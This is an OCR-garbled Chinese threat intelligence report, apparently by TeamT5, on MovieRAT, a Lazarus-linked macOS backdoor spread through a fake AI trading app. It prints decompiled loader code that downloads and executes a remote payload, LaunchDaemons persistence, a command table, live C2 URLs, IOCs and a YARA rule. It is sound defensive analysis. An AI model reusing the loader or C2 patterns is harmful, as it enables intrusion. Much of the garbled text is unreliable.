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Share:

RE

TeamT5 IEHAEIEIEE , 1L§E APT BZ%K Lazarus A%+ macOS EX£ASNEEFEN
MovieRAT , Wi BB EHREMNERE , FEEIR PR ER E%.

BT

TeamT5 BiBIFEEBEEEEZA (53d9af8829a9c7f6f177178885901c01) , HIER47H
# Esilet.dmg , & macOS RIEE=AHEARATERE  NE—F/R. ZEAPITE , SERE
esilet.com 4B} |, FZARL A EREMAZHTE , (BLIR TeamT5 RAIEE % IR | esilet.com
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esilet.com BELR4FZ 00 M EHE AT S4By | WIEBEZARuL 0 FE AR P e R E 4t 3L
a2, BIBALHNTIEER |, HAREREBIZNAST, k. BRPUNERESHEP
B =R,

BUY & SELL

Artificial Intelligence changes our world.

This is one of the most innovative technologies in recent decades

[E=. esilet.com X#Em#, % 1ERAPXNGER

Esilet.dmg $\{T1% , ©FIh4sut @48 7EN config , config B4R A "C2 + /update/ +
{platform}.json" , #& macOS hRASE] config F&EEALA
"https://esilet[.Jcom/update/darwin.json", BT FEHZESFENALE UPX 5% , @7FN A48
WFEEEBIT. KBNH , 2B NIE R MoiveRAT 8] |, Ak 2 BAAARE
FH MovieRAT SR FEFER,
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).platform().toLowerCase{) & (e = "\\");
.tmpdir(),
" + r{"os").platform() + ".json",
andom( ). toString{36).substring(8);

request . /app/node_modu
rejectUnauthorized: !1,
url: i

b (t, i, o) {
if (t || 'i || 2e0 i.statusCode) re

+ JSON.parse(o).path;

request ({
rejectUnauthorized: !
url: a,
gzip: !@
}).pipe(s).on("finish", ()
AR | Mo 511), r{"child_proc .exec(n), setTimeout((
console.log(n), r("child_proc .exec(n), console.log(n)
}), 12e3)
}).on{"error", e {})
1)
} catch (e) {}
b
e.exports = {
UpdateCheckSync: i,
UpdateCheckAsync:
t Promise(e {
i{)
1)
}
}

Z?‘ Esilet.dmg T#; MovieRAT [ 5 ¥ 8B

& MovieRAT BiZh#{T1& , HHEZ A Launch Daemons/Services , % property lists f&=
com.applex.services.agent.agent.plist JE& 4 {HomeDirectory}/Library/LaunchAgents H$% ,
HERNKBAIEEAZE /Library/LaunchDaemons Z 5 , FIHEZIFIMZEZERRBEBITH
FHEEHIFE B FTR.

_text:00000001000025DC loc_1608025DC: ; CODE XREF: sub_100002500+CCTj
__text:00000001000025DC call _getuid

_ text:00000001000025E1 cmp eax, @

_ text:00000001000025E4 jnz loc_1000802612

__text:00000001000025EA xor esi, esi ; int

__text:00000001000025EC lea r8, [rbp+var_518]

__text:00000001000025F3 lea rdi, [rbp+var_41@] ; char *

_ text:00000001000025FA mov edx, 408h ; size t

_ text:00000001000025FF lea rcx, alibraryLaunchd ; "/Library/LaunchDaemons/com.%s.agent.pli”.
_ text:00000001000026006 mov al, @

__text:0000000100002608 call _ sprintf_chk

_ text:000000010000260D jmp loc_100002685

_ text:0008008100002612 ; -~ - - -~ - -

B, # plist SAFMBITREZ T

HATEARM P AR 2 B E I S (Hard Coding) WAFERF , 43514 infodigitalnew.com,
www.vinoymas.ch & sche-eg.org , 2NE7<FT7R.
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_DWORD *sub_100004F88()

{
_DWORD *v1; // [rsp+38h] [rbp-8h]

vl = radr__ 5614542 16(8x2110ull);
radr__ 5614542 @(v1, @LL, 8464LL, -1LL);
*v1 = rand() % 30746 + 264;

vi[2] = 602;
vi[1] = 32;
vi[3] = 2;

radr___ 5614542 1(v1
radr__ 5614542 1(v1
radr 5614542 1(v1
radr___ 5614542 1(v1
return vil;

2852, "no", -1LL);

4, "https://sche-eg.org/plugins/top.php", 512LL);

132, "https://www.vinoymas.ch/wp-content/plugins/top.php", 512LL);
268, "https://infodigitalnew.com/wp-content/plugins/top.php", 512LL);

+ o+ 4+

¥
BN, REEA LA RS FE AR

BAESZE PR | BRESHEEARKIESME (Command Code) |, B ARSELSE S

BATHRINE | 20 LB FERR . fBODITRIERERERSS | Sl ERnE-t R —m
R
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switch ( v7 )
{

case Bx21279E:
vl1l = (unsigned _ int64)Download_File(v15, w14, (char *)v8) == @;
break;

case Bx2AFCB2:
vl1l = (unsigned _ int64)Get_SystemInfo(v15, vi4, vi3) == 0;
break;

case @x38CE55:
v1l = (unsigned _ int64)Heartbeat(vl5, v14, v3, v4) == 0;
break;

case Bx3A65F8:
vlil = 8;
v12 = Str2Int(vls, vl14, {(const char *)v8);
vl@ = @;
break;

case Bx3A6A93:
vl1l = (unsigned _ int64)Send_HTTP_Request(vl5, w14, v3, vd) == @;
break;

case @x3B187D:
vll = (unsigned _ int64d)Empty() == 0;
vld = 8;
v = 1;
break;

case @x484B81:
v1ll = (unsigned __int64)Upload_File(v15, v14, v8, vd) == 8;
break;

case @x48C82A:
v1l = (unsigned _ int64)Download_File_http(v15, v14, v3, vd) == 0;
break;

case @x48D6FC:
v1l = (unsigned _ int64)Exec_Command(v15, v14, (__ int64)v8) == @;
break;

case @x/FCAAL:
v1l = (unsigned __ int64)Exec_Command_return(v1l5, v14, (_ int64)v8) == @;
break;

}
¥
B, 15550 AR

g ] i::3%
Ox21279E ¢ FRARRIL N #RRE SR A0 77 FURA A 2 1%

Ox2AFCB2 Eyf5F#&:A

2
HAl

O0x38CES55 Heartbeat
Ox3A65F8  FE(string)iEf A= (integer)

Ox3ABA93 {EEHTTPH A ZEPALy
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g ] P

0x3B187D Z5f54

0x484B81 _H{EtERE byt

0x48C82A EIBHTTP{E AL FEFER
0x48D6FC  HATIES (FTMAKIFESTH)

Ox7FCOA4 B {THE I [EfB4ER

Z—, 1ESEEE

TeamT5 4XFHRZIXAEIISHZE MovieRAT 29725 , MovieRAT 2EEEWMEFTIEHIFER |, X
BEREARER LETEH,. EOPITREFREETEE. BEHEEARBIINRENEZ
FEEEHI (2nd-stage RAT) ZFl. SCHIFTEER MovieRAT £F9%4 Windows 222X , &
BB HTTP MRk E Skt @4y | Fr{E R Cookie ABHFEM.

1R1E TeamT5 MBS |, 1% MovieRAT TE{uZ2BZ % 4045 Lazarus & . Lazarus AJLEHER
TRRE MR LB ERAERNACSE , JTHAFRSHE SWIFT BEEIRAZ 5 R %M ATM BE)
HEEMAREITHE., AT BIRBHESHES  TRRAGFNER M EFEMESR
MEABFSRTHNRALEETHE., BENKETHF , SEESFHERNNSHERI , £EIR
EAMAR. EHRIZFIIARENGRRBERE¥AZ ST , 20 Bithumb, Youbit & Yapizon
% B EEEETNERAEK.

IOCs (REEIEHEE)

I0C E =i
53d9af8829a9c7f6f177178885901c01 MD5
ae9f4e39c576555faadee136¢c6c3b2d358ad90b9 SHA1

9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598 SHA256

9578c2be6437dcc8517e78a5de1fa975 MD5

d2a77c31c3e169bec655068e96cf4e7fc52e77b8 SHA1

dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156 SHA256

esilet.com Domain

www.kurunzi.news Domain
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IoC E=Eid

oasismagazine.africa Domain
lerenmetsara.net Domain
https://infodigitalnew.com/wp-content/plugins/top.php URL
https://www.vinoymas.ch/wp-content/plugins/top.php URL
https://sche-eg.org/plugins/top.php URL

PERES

1. 3518 TeamT5 ThreatSonar #&& E BB W EEZENTS , ThreatSonar X1 Windows,
Linux X macOS {E£ &%k,
2. {FARLT yara rule IR E AL |, 105 £ B1F1E MovieRAT 972K,

rule TeamT5_Lazarus_MovieRAT

meta:
author = "TeamT5"
description = "Lazarus - MovieRAT"
strings:
$cookie = "Cookie: _ga=%s%02d%d%d%02d%s; gid=%s%02d%d%03d%s" fullword
$str_1 = "GA1.%d." fullword
$str_2 = ".%d%05d%04d" fullword
condition:
all of them
EI YARAREIE TEERER
L ~ 1 rule TeamT5_Lazarus_MovieRAT
p==8 =1 Ea-‘ — !
L N 2+
Teaml'5_Lazarus_MovieRAT 3 meta:
4 author = "TeamTs"
EEZH 5 description = "Lazarus - MovieRAT"
] strings:
5 M 7 $cookie = "Cookie: _ga=¥s¥ke2didid%e2d%s;
e e =Rt A b e gid=¥s¥e2did%e3dis™ fullword
8 $str 1 = "GAl.%d." fullword
=R 9 $str 2 = ".%d%esd%ead” fullword
Lazarus MovieRAT b condition:
11 all of them
Z 12 |}

3. TH@HUI@E‘] IOC BEEARABRETET , BIT{ARERELZ

4. % APT 2R EEF & , AT2% TeamT5 ThreatVision 1§ &FA.
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https://teamt5.org/tw/products/threatsonar/
https://teamt5.org/tw/products/threatvision/
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Share:
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